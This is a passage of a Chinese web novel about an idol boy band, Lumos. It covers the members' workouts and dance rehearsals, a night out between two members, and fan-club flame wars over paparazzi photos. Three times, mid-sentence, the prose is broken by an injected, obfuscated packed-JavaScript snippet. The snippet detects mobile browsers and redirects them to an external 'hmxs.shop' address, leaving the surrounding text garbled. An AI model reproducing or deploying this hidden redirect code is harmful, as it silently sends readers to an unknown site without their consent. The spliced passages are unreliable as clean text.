许京殊递了瓶水给周塑宁,自己拧开一瓶,仰头喝了几口。 清晨的阳光落在他脸上,汗水顺着下颌线滑下。 周塑宁捏着手里的水,侧眼看着他,突然说:“其实你不用那么在意。” “什么?”许京殊转头。 他有些惊讶,周塑宁对他话挺少的,居然会安慰他。 “在意别人叫你什么。”周塑宁低头看手里的水瓶,“粉丝叫你公主,是因为喜欢你。不管你是什么样子,在她们眼里,你都是她们想要守护的人。” 许京殊沉默了一会儿:“但我希望她们喜欢的是真实的我。” “你怎么知道那不是真实的你?”周塑宁反问,“会格斗的是你,漂亮的是你,认真的是你,笑得开心的是你。这些都是你,为什么非要选一个?” 许京殊怔住了。 周塑宁说完,似乎觉得自己说太多了,拧开水瓶猛灌几口,然后转身:“我跑完了,先回去了。” 他跑走了,留下许京殊一个人站在贩卖机前。 阳光越来越亮,公园里的人渐渐多起来。许京殊站在那儿,手里拿着半瓶水,脑子里回响着周塑宁的话。 为什么非要选一个? 因为他觉得,只有这样才值得被认真对待。 因为他觉得,只有成为某种特定形象,才能证明自己的价值。 因为他害怕,如果不拼命证明,就会变回那个被人说“只有脸的花瓶”的空降练习生。 许京殊把剩下的水喝完,将空瓶扔进垃圾桶。 他走回公寓,脚步很慢。 上楼时,在楼梯间遇到了正准备出门的林霄衡。 “晨跑回来了?”林霄衡看着他,“脸色不太好。” “没事。”许京殊说。 林霄衡没追问,只是说:“我有点事情要去练习室。刚接到通知,新舞的动作调整了一下,应该更适合你发挥。” “谢谢队长。” “不用谢。”林霄衡拍拍他的肩,“你是团队的一部分,你的特点也是团队的特点。我们不需要你变成别人,只需要你成为最好的许京殊。” 林霄衡走了。 许京殊站在原地,看着队长的背影消失在楼梯拐角。 他想起苏凌羽说他的真的很帅,想起周塑宁说的粉丝喜欢的是你这个人,还有林霄衡说的成为最好的许京殊。 也许是自己太执拗了? 但下一秒。 不。 他不能妥协。 而许京殊不知道的是,昨晚采访的完整片段已经在各大平台发酵。 一个名为“许京殊格斗教学VS粉丝反应”的对比剪辑视频,正在以惊人的速度传播。 视频左边是他认真教学的动作,右边是实时弹幕的疯狂刷屏。 评论最高赞是:【他那么认真想当硬汉,她们那么认真把他当公主。这是什么双向奔赴的病情?】 第二高赞:【殊殊,放弃吧,你这辈子都是公主了。】 许京殊的正名之路,注定不会平坦。 他回到公寓,陈醒松大咧咧的坐在沙发上玩手机。 看到他回来抬了抬头:“嗨,我们Lumos最帅气的小孩晨跑回来了?” Lumos是他们团的名字,意思是发光。 许京殊瞥了他一眼,哼了一声:“又在偷懒,你个大懒狗。” “什么啊!我这是有自知之明好吗!老大出门了,老三写歌呢,老四也才回来。我一个人不玩手机干啥。”陈醒松厚脸皮辩解。 “等会我搁客厅练会儿仰卧起坐和平板支撑,你帮我按一下腿。”陈醒松想了想,自己确实不应该闲着。 “行。等我一会儿,我吃个早饭。”许京殊捋了捋耳边的头发。 他们基本上都是自己做饭吃,因为每个人都不一样,有的人需要减脂减肥,有的不需要。 不过鸡蛋可以多煎几个,因为总会有人吃。 依旧是无油煎鸡蛋和几片菜叶子,许京殊今天还给自己加了一小片面包。 …… 许京殊躺在垫子上,T恤由于动作上卷,露出一截细白的腰身和清晰的马甲线。 他刚做完一组仰卧起坐,呼吸还没平复,小腹随着喘息轻轻起伏。 他本来只想帮陈醒松按腿的,但是看到他的腹肌时改变了主意,他要学学陈醒松的训练方法。 陈醒松蹲在他脚边,双手按住他的脚踝:“再来一组。” 许京殊点点头,双手抱头准备起身。 陈醒松的手掌很大,指节分明,牢牢圈住他的脚踝骨。 许京殊憋了口气向上用力,腰腹收紧的瞬间,那马甲线更深地凹陷下去,皮肤绷出一层薄薄的肌肉轮廓。 做到第三十五个,许京殊的动作慢下来。 他咬住下唇,脖子上的青筋微微凸起,可上半身抬到一半就重重落回垫子上。 “不行了……”他大口喘气,胸口剧烈起伏。 陈醒松松开手,站起身。 他随手撩起自己的黑色背心下摆擦了把额头的汗,露出整片紧实的腹部。 不是许京殊那样清瘦的线条,而是着明显起伏的八块腹肌,随着他的呼吸微微收紧放松,在灯光下投出深浅不一的阴影。 许京殊侧躺着看他,目光落在那片腹部上,眼里满是羡慕。 “你们到底是怎么练的?怎么个个腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953289|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肌这么漂亮。”许京殊不甘心的问,声音里带着喘。 “多练就行。”陈醒松露出炫耀的笑容,也躺到垫子上,“该你了,帮我按腿。” 许京殊跪坐到陈醒松脚边,按住他的脚踝。 陈醒松的脚踝骨比他的粗,小腿肌肉结实,许京殊两只手才能圈住。 陈醒松双手抱头,轻松地坐起身。 他的动作干脆利落,上半身抬起的角度标准,每一次下落都控制着速度。 许京殊感觉到手底下陈醒松的脚踝稳得像焊在地上一样。 许京殊数到第六十个时,陈醒松的呼吸才开始变重。 他又做了二十个,才躺回垫子上,胸膛起伏,身上覆着一层薄汗,透的衣服粘在了身上。 “到你了。”陈醒松坐起来,示意许京殊躺回去。 许京殊重新躺下。这次陈醒松没有只按脚踝,他往前挪了挪,膝盖顶住许京殊的脚背,两只大手直接按在了许京殊大腿的位置。 许京殊觉得痒痒的,扭了一下。 “这样更稳。”陈醒松注意到,解释了一下。 许京殊又开始做。 这次有了支撑,他做得轻松了些。做到第十五个时,陈醒松忽然开口:“你腹部发力不对。” 他的手突然从许京殊大腿上移开,一只手掌直接按在了他的的小腹上。 掌心温热,带着汗湿的触感。 “这里。”陈醒松的手掌压了压,“起来的时候要这里先收紧。” 许京殊整个人僵了一下。 陈醒松的手掌很大,几乎盖住他大半个下腹。那温度透过皮肤烫进来,让他腰腹的肌肉不自觉地绷紧了。 “继续。”陈醒松说,手没有挪开。 许京殊吸了口气,再次抱头起身。 在他腰腹收紧的瞬间,那只手感受到了肌肉的收缩和隆起,掌心贴得更紧了些。 许京殊躺回去时,腹部放松,陈醒松的手掌就那样贴着,温热地覆在那里。 “好点。”陈醒松说,“再来。” 许京殊又做了几个。 每一次起身,陈醒松的手都能感受到他腹部肌肉从柔软到紧绷的变化。 那皮肤很光滑,带着特有的细腻触感,肌肉薄而紧实,一起在掌心下起伏。 许京殊又做了二十个,实在没力气了。 他躺平休息,因为运动过度而喘着气,小腹随着呼吸起伏。 陈醒松的手还按在那里,能感觉到季茗因为仰卧起坐腹部肌肉正确发力的缘故,那层薄薄的肌肉在颤抖。 莫名觉得有些犹豫。 陈醒松收回手,愣了一下。 手上还残留着许京殊腹部皮肤的触感,随着呼吸起伏的柔软与紧绷交替。 “你得多吃。”陈醒松站起来。 他第一次觉得喉咙有些干涩,咽了口口水,目光落在许京殊小腹上:“太瘦了,没肌肉量。” “我知道。”许京殊还躺在那里,又看到了陈醒松的腹肌。 “你先洗澡吧,我再缓一会儿。”许京殊闭上眼睛,生无可恋。 淋浴间传来水声。 陈醒松站在花洒下,热水冲过身体时,他低头看了看自己的手。 掌心朝上,水流冲过那些纹路,仿佛还能感受到刚才按在许京殊腹部时的那种触感。 过了好一会儿陈醒松才突然惊醒。 他甩甩头,要快点洗澡换许京殊进来。 陈醒松洗完关掉水,用毛巾擦了擦头发,然后开门出去。 许京殊坐在瑜伽垫上做动作放松身体,非常养眼。 他不自觉的盯着看了好几眼。 许京殊拿了换洗衣服等着,陈醒松出来的时候看了他好几眼。 他有些莫名其妙,摸了摸脸,并没有什么脏东西,才进卫生间关上门。 许京殊经过洗手台时,撩起衣服看了看镜子里的自己。 腰很细,两侧的线条清晰,但也就这样了。他想起陈醒松撩起背心时露出的那片腹部,块块分明,带着力量和硬度的美感。 许京殊用冷水洗了把脸。水珠顺着下巴滴下来,他抹了把脸,看向镜子里的自己。 继续练,他对自己说。 总有一天,他也能有那样的腹肌。 至少,他希望如此。 4. 练习室 最近没什么工作,成员们每天下午都去练习室学习新专辑的舞蹈,经常练到半夜。 许京殊的快递到了,直接送到门口。 他打开门,把快递拿进来。 路过客厅时,陈醒松正在客厅对着手机屏幕笑得前仰后合。 他快步走到房间,把门关上。 拆开快递,拎出那件黑色高领短袖,在镜子前比了比。 很好,严丝合缝,再搭个外套,除了脸和手,什么皮肤都不会露。 他换上这件新衣服,外面套了件宽松的工装外套。 虽然天气很热,但是公寓和练习室都有空调,应该不会有问题吧。 走出房间时,陈醒松还在傻乐。 “看什么呢?笑半天了。”苏凌羽从厨房出来,手里端着切好的水果。 “看这个!”陈醒松把手机转过来。 屏幕上正是那个“许京殊格斗教学VS粉丝反应”的对比剪辑视频。 陈醒松晃了晃手机:“两天百万播放,评论区快笑死我了。” 苏凌羽凑过去看了几眼,也忍不住笑了:“粉丝们真有才。” “什么视频?”许京殊走过来,非常好奇。 陈醒松迅速按灭屏幕:“没什么,就一个搞笑剪辑。” “诶你这身衣服。”他上下打量许京殊,“你穿这么厚不热吗?” “练习室空调足。”许京殊面不改色。 “空调是足,但你这一层又一层的。”陈醒松伸手想拉他外套,被许京殊侧身躲开。 林霄衡从房间里出来,背着他的黑色吉他包:“该走了,下午两点到练习室,编舞老师等着。” 五人鱼贯而出,坐进保姆车。 许京殊刻意选了靠窗的单人座,这样不会和别人有肢体接触,避免再产生什么亲密画面被解读。 在知道他在团的cp全在右位时,他有观摩过那些cp解读,看的他满头雾水,又气又好笑的。 说啥的都有。 车上,梁姐打来电话,声音里带着难得的兴奋:“你们看热榜了吗?” “正在看。”林霄衡开着免提,“第三位那个?” “对!品牌方刚联系我,说京殊那段格斗教学视频反响很好,运动线产品的代言在考虑了!还是团代。” 许京殊猛地抬起头。 “真的?”他忍不住出声。 “真的!”梁姐说,“不过品牌方希望你们配合拍一组硬照,要突出力量感和运动感。你们最近训练状态怎么样?” “很好。”许京殊坐直身体,“随时可以拍。” 陈醒松拍了拍大膀子:“完全可以。” 其他人虽然没说话,但意思显而易见。 “那就好。我约他们下周碰方案。”梁姐顿了顿,“还有个事,那个对比剪辑视频你们看到了吧?也非常出圈。” 车内安静了一瞬。 “看到了。”林霄衡说。 “什么对比视频,谁出圈了?”许京殊打了个哈欠,向后贴到座位上。 “不对,你们今天笑的那个视频是关于我的吗?”他反应过来了。 陈醒松嘿嘿笑了两下,超级无敌欠揍。 许京殊忍无可忍,锤了他一下。 陈醒松一边求饶一边躲:“唉唉唉,我错了,我不应该瞒着你……” 此时已经到公司楼下了,离门近的周塑宁已经率先打开车门出去了。 梁姐注意到,直接结束通话:“晚会儿在群里说吧,你们先去练习。” 公司楼下不少粉丝在蹲守,一阵骚动。 许京殊锤陈醒松的那一幕刚好被躲在角落里的人拍下。 “哼。”许京殊面无表情,下车向粉丝们打招呼。 陈醒松紧随其后,扯了扯许京殊的衣角,被许京殊挣脱开。 生气的许京殊此刻像过年的猪一样难抓。 这一幕也恰好被拍下,两人并未察觉。 练习室到了。 编舞老师是个韩国人,叫韩文槙。 以高难度和力量感的舞蹈在业内广受好评。 看到五人进来,他拍拍手:“来了?今天重点练京殊的C位部分。” 许京殊眼睛一亮,到他了。 “这部分的C位需要柔韧和力量的结合。” 韩文槙走到镜子前,开始演示动作,一个后仰下腰接快速起身,然后是一串连续的地板动作,最后定格在一个手臂绷直,肌肉线条完全展现的姿势。 “这个下腰……”林霄衡皱眉,“京殊的腰伤能行吗?” “我可以。”许京殊立刻说。 韩文槙看他一眼:“别逞强,先试试。” 音乐响起。 许京殊站在镜子前,深吸一口气,听着节拍。 到他的部分时,他向后仰去,腰部的旧伤在某个角度开始隐隐作痛,但他没停,继续向下,直到手指几乎触地。 然后迅速起身,地板动作,旋转,定格。 一套动作做完,他呼吸有点急。 韩文槙摸着下巴看了会儿:“力量够了,但柔韧度差点意思。你这个下腰的角度不够深,视觉效果会打折扣。” “我晚上加练柔韧。”许京殊说。 “不是加练的问题。”他走过来,示意许京殊再做一次下腰。 在许京殊后仰到极限时,韩文槙伸手在他腰侧按了按:“这里,肌肉太紧张了。你怕疼?” 许京殊没说话。 “怕疼是好事,说明你懂得保护自己。” 他继续说:“但这个动作需要你克服本能。这样,你每天练完力量后,加二十分钟的腰部放松和拉伸。不是硬压,是让肌肉记住放松的状态。” “明白了。” “还有。”韩文槙看了看他的穿着,“你穿这么厚,出汗后布料贴身,做地板动作会不顺畅。去把外套脱了。” 许京殊低头看了看自己的衣服,有些不情愿,这可是自己今天精心搭配的ootd。 不过他还是听话的同意:“好的。” 转过身开始脱外套。 拉链滑下的声音在安静的空间里很清晰。 陈醒松正准备去拿水瓶喝水,动作停在半空。 许京殊里面穿了件黑色短袖,高领的,紧紧裹住脖颈。布料是那种很薄的材质,看起来有弹性,随着他挂外套的动作服帖地贴着身体。 领子正好卡在喉结下方,严严实实,清晰勾勒出脖颈到肩膀的线条。 袖子不长,露出手臂,手臂在黑色布料衬托下显得格外白。 腰细腿长,非常吸引人。 就是怎么感觉脸热热的。陈醒松摸了摸脸,随后将凉凉的水瓶贴到脸上。 许京殊把外套放到长椅上,转过身。 林霄衡目光从许京殊的领口扫到腰,又回到那截被黑色领口圈住的脖子上。过了两三秒才开口:“你新买的衣服?” “对啊,前两天陈醒松不是跟我说我更适合高领的吗,然后我就买了新的。”许京殊随口回答。 “怎么了?不适合我吗?”许京殊才注意到练习室不知道什么时候安静下来了。 陈醒松将水拧开喝了口,水是凉的,但是他却觉得耳根又有些发热。 “挺……”苏凌羽顿了顿,没找到合适的词 “倒是挺显腰细的。” 他脑子里想的东西不适合说出口。 周塑宁盯着看,没说话。 “是吗?”许京殊低头看了看自己,“我觉得这件短袖穿起来超级舒服的。” …… 练习持续了三个小时。 许京殊把那套动作练了二十多遍,每次下腰时腰伤都在抗议,但他一次比一次压得深。 到最后,他的手指稳稳触到了地面。 “好!”韩文槙鼓掌,“保持这个感觉!” 休息间隙,许京殊走到角落喝水。背心已经被汗浸湿了一半,紧紧贴在身上。 陈醒松走过来,递给他一条毛巾:“擦擦。你后背全湿了。” “谢谢。”许京殊接过毛巾,没立刻擦,而是先拧开矿泉水瓶。 “那个下腰动作。” 陈醒松在他旁边坐下:“别太拼命。你腰伤什么样我们都知道。” “没事。”许京殊喝了口水,“老师说了,不是硬压,是让肌肉学会放松。” “你会放松吗?”陈醒松看着他,“你整个人都是绷着的。” 许京殊动作一顿。 陈醒松笑了笑,没继续这个话题,而是说:“对了,今天晚上吃什么啊?我想喝奶茶,梁姐管的严,你去帮我拿吧。” 许京殊属于吃不胖体质的,所以平常梁姐都不管他点外卖。团里想吃什么都会叫许京殊帮忙点。 “你不是号称我们团最自律的吗?”许京殊喝了口水,傲娇拿乔。 “好殊殊,lomus最帅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953290|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小孩,快帮帮我吧,被梁姐抓到我点外卖,又要罚款了。”陈醒松装娇弱捧杀。 “行吧行吧,你直接拿我手机点。到了我去拿。”许京殊大气挥手。 练习重新开始。 这次是合练,五个人要一起走位。 周塑宁的位置在许京殊斜后方,有个动作需要他从后面伸手,虚扶许京殊的腰做支撑。 第一次走位时,周塑宁的手碰到了许京殊的后腰。 很敏感的位置。 许京殊身体几不可察地僵了一下。 “弄疼了?”周塑宁立刻松手,怕碰到许京殊腰伤的地方。 “没有。”许京殊说,“继续。” 第二次走位,周塑宁的手又扶上来,但这次力道轻了很多,只是虚虚地贴着,几乎没用力。 他的手掌很热,隔着一层布料,温度清晰地传递过来。 音乐继续,许京殊完成那个下腰动作,起身时,周塑宁的手稳稳地托了他一下,然后迅速收回。 走完一遍,韩文槙喊停:“周塑宁,你那个支撑动作再明显一点,现在是伴舞,不是保镖。” 大家都笑了。 周塑宁耳朵有点红:“知道了。” 又练了一个小时,今天的排练结束。五人满身大汗地坐在地板上休息,编舞老师在做最后总结。 “整体不错,但京殊和周塑宁那个互动动作还要再磨磨。” 韩文槙说:“周塑宁你太收着了,该给支撑的时候要给实。京殊你也是,要信任队友的支撑,别自己硬撑。” 两人同时点头。 离开练习室时,天已经黑了。 五人不一起回去,所以出练习室就分开了。 许京殊帮忙拎着奶茶。 陈醒松凑过来喝了一口:“如果是五分糖就好了,不额外加糖就不好喝了。” “有的喝就不错了还挑三拣四的。”许京殊出了公司就把奶茶都给他了。 陈醒松抹了把脸:“饿了。” “回去做饭吃。”许京殊伸手拉他。 “不想吃食堂。”陈醒松狠狠吸了一口奶茶,“出去吃?看看步行街有没有新开的店。” 许京殊看了眼手机,十点半:“行。” 两人回头。 他们后面悄咪咪跟着几个人。 有些极端粉丝就是这样,虽然他们的行程都是保密的,但是这些人会一直等到他们来公司,出公司。 他们已经习惯了,所以至少在她们没什么威胁之前,只能忽视她们。 夜晚的风吹过来,带着点凉意。 步行街晚上很热闹。 两人戴着口罩,并排走着。 路灯暖黄的光把影子拉长。 陈醒松走着走着,肩膀就会轻轻撞到许京殊的肩膀。 “别老挤我。”许京殊被挤到边边,为自己发声。 “哎呀,好吧好吧,我走路就这样。” 路过一家玩偶店,陈醒松指着橱窗里一只笨熊:“像你不?” 许京殊看了一眼:“像你,又大又笨。” 话还没说完,陈醒松的手已经伸过来搂住他的肩膀。 由于体型差距,像是把他搂在怀里一样。 陈醒松站不直,嘟囔:“怎么这么矮,我搭你肩膀都站不直。” 许京殊抓住那只在自己脸边的手腕:“你再说呢?” 两人就这么个怪异的姿势走了几步,直到陈醒松要去拿手机,才自然分开。 他们完全没注意到,有人举起了手机。 “我想吃那家的章鱼小丸子。” “他家烤冷面看起来也好好吃。” 不一会儿。 许京殊手里拿着章鱼小丸子。 陈醒松手里端着烤冷面。 “你看我干嘛?”许京殊忽然抬头,手里的章鱼小丸子停在半空。 “没。”陈醒松否认,插了烤冷面塞进嘴里。 “是不是我脸上沾东西了?”许京殊用手背蹭了蹭脸颊。 “没有。”陈醒松眼珠子一转。 快速凑过去,直接用嘴将许京殊手里插着的章鱼小丸子叼走,含含糊糊的说:“确实好吃。” “陈醒松你是小狗吧!还用嘴巴抢!”许京殊轻轻肘了他一下,快步向前。 “哎呀别生气了,给你吃我的烤冷面。” “不要,狗的嘴巴是臭的!” …… 5. 粉丝大战 今天的照片很快在网上传开了。 两个身影靠得很近,抓手腕,撞肩膀,还有一张是许京殊侧过头,正对着陈醒松的方向。 车上许京殊轻轻锤陈醒松那一幕。 下车后陈醒松扯衣角被躲开那一幕。 松殊CP粉的讨论组里和超话全爆了。 消息瞬间刷了几百条,小松鼠们手指都打冒烟了。 【牵手了!绝对牵手了!虽然只有这个距离!】 【陈醒松那个眼神……啊不对,不能说眼神,陈醒松那个头偏的角度,绝对是看着许京殊的。】 【猫猫那一下捶得多自然啊,关系不好能这么打?而且捶完豹豹还赶紧跟过去哄。kswl!!】 【姐妹看那一张!许京殊躲开陈醒松拉衣角的手?这叫躲?这明明是小情侣闹别扭!没看见陈醒松马上又凑过去了吗?】 【今日关键词:拉衣角!搂搂抱抱!对视!打情骂俏!】 【许京殊就是心软但嘴硬的漂亮妹妹,陈醒松就是黏人小狗。】 【这对真的超级真!不是小情侣关系也超级无敌好!】 【豹豹猫猫别喂了,我要撑鼠了!】 …… 陈醒松的粉丝群里气氛截然不同。 【烦死了,CP粉又开始了,正常队友走路都能脑补一万字。】 【重点是那个锤吧?车里那张照片,许京殊那表情,那动作,跟打人似的。难道因为我们陈醒松脾气好就不计较?】 【下车那里才明显,小狗想拉他一下,他躲什么躲?当着那么多人的面,给他难堪?】 【许京殊一直就那样啊,空降来的,本事不大,脾气不小。跟谁都冷冰冰的,也就我们小狗人好,总带着他玩。】 【心疼老公。热脸贴冷屁股。】 陈醒松的大粉“醒时松”发了条微博:【拒绝歪曲事实的工业糖精!某些人心里怎么想的我们都知道。大家多多关注陈醒松本人,远离明星私生活!】 评论区很快被陈醒松粉丝占据,话也越来越难听。 【某空降皇族别吸我老公的血了行吗?】 【整天黑着脸,谁欠你的?】 【业务能力不见涨,倒贴队友第一名。】 事情迅速发酵。 讨厌许京殊的接生团粉也加入进来: 【一颗老鼠屎坏一锅汤,自从他来了,团队氛围都怪怪的。】 早已退团的前成员的粉丝也趁机下场: 【现在知道我们哥哥当初多不容易了吧?这位空降背景硬着呢。】 许京殊广场上顿时乌烟瘴气,充斥着各种攻击和嘲讽的言论。 更有甚者直接艾特许京殊大号辱骂。 …… 许京殊粉丝这边还在岁月静好,偷偷膏肓呢。 【我去我去我去,高领黑色短袖,这内衬太烧了吧?我特么的挤挤硬了。】 【???不要炒我家宝宝啊?我家宝宝只是年纪小不懂事,不要对小孩子下毒手啊!】 【女王大人啊不……公主宝宝!不是怎么又女王又清纯的!】 【给我炒炒!给我炒炒!】 【心理委员!我不得劲儿!炒不到殊殊宝我难受!】 过了一会出儿。 【wc他们没事吧?干嘛骂人?】 【谁啊,谁骂人了?】 【就是,骂这么难听,跟许京殊杀了他全家一样。】 【恨成这样吗?】 【破防了,陈醒松那群梦女碰不到本人,只能拿许京殊撒气。】 【广场上乌烟瘴气的,姐妹们都去洗洗广场。】 群主和管理员们忍不了了。 【给他们脸了,是他们先开始的,我们就没什么顾虑了,做时间线,谁骂人了直接艾特出来骂。】 【直接上广场,时间线和澄清动图都做好了。有姐妹拍到全程了,他俩就是正常互动。】 【可以可以,我都截图保存了。】 【特么的一个舔狗的粉丝还破防上了,我们都没嫌弃陈醒松跟哈巴狗一样,殊殊一伸手就过来了。】 双方骂战一触即发。 回到公寓,其他人都没回来呢。 许京殊第一件事就是洗澡。 陈醒松看着火急火燎的许京殊,打趣他:“火烧屁股了跑这么快。” “今天下午练习出好多汗,早就想洗澡了。”许京殊头也不回的回房间拿换洗衣物。 “不跟你说了,我先进去。” 洗完澡出来,许京殊换了件睡衣。 他坐到沙发上,开始搜索腰部柔韧训练的方法。 这时,手机响了。 是妈妈打来的视频电话。 许京殊接通,屏幕上出现妈妈的笑脸:“小殊!吃饭了吗?” “吃了,刚在外面吃了回来。”许京殊调整了一下摄像头,“爸呢?” “在这儿呢!”爸爸的脸挤进画面,“儿子,我们今天看手机,说你那个格斗教学上热搜了!” 许京殊心里一紧:“你们看了?” “看了看了!”爸爸笑得眼睛眯成缝,“我儿子真厉害!那动作,标准!我跟老张他们说了,我儿子可是练过的!” 妈妈在旁边补充:“就是穿得太少了,那个背心领口开那么大,多容易感冒啊。” 许京殊:“……” “妈,大夏天的不会感冒的。” “对了。”爸爸突然压低声音,“你妈说你粉丝都叫你什么公主?这什么称呼?” 来了。 许京殊坐直身体,准备好解释:“就是粉丝的爱称,没什么特别意思。” “怎么没意思?”爸爸皱眉,“我儿子是男的,叫什么公主?多不像话。” “哎呀你懂什么。”妈妈推开爸爸,“现在年轻人都这么叫,是一种喜欢。对吧小殊?” 许京殊张了张嘴,最后只能点头:“嗯,算是。” “什么算是。”爸爸还是不满,“我儿子这么阳刚,叫王子还差不多。” “爸!”许京殊无奈。 “行了行了,不说这个。”妈妈赶紧转移话题,“你腰怎么样?动作那么大,旧伤没复发吧?” “没事,我注意着呢。” “注意什么注意。”妈妈嗔怪,“你什么样我还不知道?一练起来就不要命。我给你寄了新的膏药,我专门去中医那里求的,明天应该能到,记得贴。” “知道了。” 又聊了十分钟,挂了电话。许京殊靠在椅背上,长长地吐出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953291|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。 连爸妈都知道了。 他打开视频软件,点进那个对比剪辑视频的评论区。 最新的热评让他手指一顿: 【只有我注意到殊殊教学的时候,耳朵红了吗?】 下面回复: 【早就注意到了!他每次认真做什么事的时候耳朵都会红!】 【对对对!上次直播唱歌也是,唱到高音部分耳朵就红了!】 【这是什么绝世小可爱啊我死了】 【而且你们发现没有,他皮肤巨嫩,随便碰一下都会红,上次他舞台上带了一条项链,我看直拍的时候他的胸前居然有压痕。】 【我去,他是豌豆公主吗?】 许京殊下意识摸了摸自己的耳朵,又看了看自己胸口。 他根本不知道自己是这样的。 陈醒松也洗完澡出来了,拿这手机,走过来坐到他旁边。 “刚跟阿姨叔叔打电话呢?也不等我出来跟他们打声招呼。”他打开手机,随手刷着博文。 “没啥事就没打多长时间。” 两人歪歪斜斜的贴在沙发上,各干各的事,偶尔讲两句话。 陈醒松眉头皱紧。 刷了十几分钟,他猛地坐起来。 许京殊听见响声抬起头:“怎么了?” “你看到网上的东西了吗?”陈醒松挪了挪,顾涌到许京殊旁边。 “看啥东西?”许京殊放下手里的手机。 陈醒松表情严肃,跟平常嘻嘻哈哈的样子判若两人:“今天你在车上锤了我一下,被骂了。” 许京殊无语住了:“这有什么的,不是经常会被骂吗。反正也没有什么实质性伤害,骂就骂吧。” “就是委屈我粉丝了,我挨骂她们肯定心疼生气,我要不要给她们发点福利啊?”许京殊不在意但是粉丝不能受委屈。 他正思考是发照片还是发红包。 陈醒松恨铁不成钢。 “你就是个受气包。”陈醒松声音提高了点,“他们说那么难听!” “又不是第一次。”许京殊反而提醒他,“你也要珍惜自己的粉丝的。” “可是如果因为这点小小的事情闹这么大的话,这究竟是粉丝还是黑粉。”陈醒松划开手机屏幕,“我得说清楚。” “有什么好说的。”许京殊伸手想拿陈醒松的手机。 陈醒松躲开他的手,低头快速在手机屏幕上敲字:“不说清楚我睡不着。” 他打字打得飞快,嘴唇抿着。 两分钟后,陈醒松社交账号更新了一条动态: 练习完和京殊一起吃东西,谢谢京殊给我点的奶茶。 配图是一张陈醒松拿着奶茶的照片和两人手里拿着章鱼小丸子和烤冷面的照片。 发完,他把手机屏幕转向许京殊:“行了,这下他们应该知道我们没有闹矛盾没有关系不和了。” 许京殊看着那条动态,过了一会儿,才说:“你要被梁姐罚款了!还连带着我。” “罚就罚。”陈醒松把手机扔到一边:“谁让你助纣为虐的。” 许京殊看着他:“可恶,下次馋死你也不帮你点外卖了!” 虽然这么说,但是陈醒松的做法让他感觉到了朋友间的温情。 6. 贴脸开大 第二天早上七点,公寓门铃被按得震天响。 许京殊从床上坐起来,有些懵,他的头发睡得乱翘。 他听见客厅里有人趿拉着拖鞋去开门的声音,然后是梁姐兴师问罪的嗓音: “陈醒松!你给我解释解释昨晚那条动态是怎么回事!” 许京殊激灵一下立刻清醒了。 他立马套上衣服走出房间,看见梁姐站在玄关,手里拿着手机,屏幕恨不得要怼到陈醒松脸上。 陈醒松还穿着睡衣,头发炸得像鸟窝,一脸没睡醒的茫然。 “梁姐,这么早啊。”许京殊理了理睡乱的头发,慢慢走过去。 梁姐转过头看到他,脑袋气的嗡嗡的,她深吸了一口气:“京殊你也醒了?正好,一起说。” 她把两人带到客厅沙发坐下,自己拉过餐桌椅坐在对面,翘起二郎腿:“昨晚十一点四十二分,陈醒松,你在没有通知团队的情况下,私自发布了一条提及队友且包含外出饮食内容的动态。现在,这条动态评论超过三十万,评论区炸了。” 陈醒松抓了抓头发:“我就是想澄清一下……” “澄清?”梁姐点开手机,手指狠狠戳着屏幕,“你知不知道现在评论区什么情况?” “你的粉丝和京殊的粉丝在吵架,CP粉在狂欢,对家粉在截图看笑话,只有一些团粉在拉架还被骂成筛子了。 “品牌方早上六点就给我打电话,问你们团队是不是有矛盾,需不需要调整后续合体活动的安排。” 许京殊拿起自己的手机,点开社交媒体。这才发现首页已经被相关推送刷屏了。 热搜第十位:#陈醒松晒队友点单# 点进去,最热的一条营销号文案是:【陈醒松深夜晒照感谢许京殊,疑似回应白日“车内争执”传闻。所以到底是关系好还是不好?】 配图是陈醒松昨晚发的两张照片,外加昨天白天被拍到的“车内许京殊锤陈醒松肩膀”和“许京殊闹别扭”的那两张抓拍。 评论区高楼叠起: 【爸爸好样的,护妻狂魔。】 【这回应速度,陈醒松你是住在网上吗?】 【笑死,某些人白天骂许京殊打人,晚上正主亲自下场打脸。】 【他俩这么晚还一起出去玩啊?】 【重点不是章鱼小丸子和烤冷面吗?这俩半夜偷吃外卖!经纪人管管啊!】 【CP粉狂喜!正主亲自发糖!松殊是真的!】 参杂着不少不和谐的言论: 【蹭货就是甩不开的狗皮膏药。】 【陈醒松体面人。】 【陈醒松无妄之灾。】 【陈醒松你是不是被绑架了?是的话眨眨眼。】 【许京殊给你下什么迷魂药了?这么护着他?】 【又来了又来了,工业糖精又来了,怎么这么喜欢卖。】 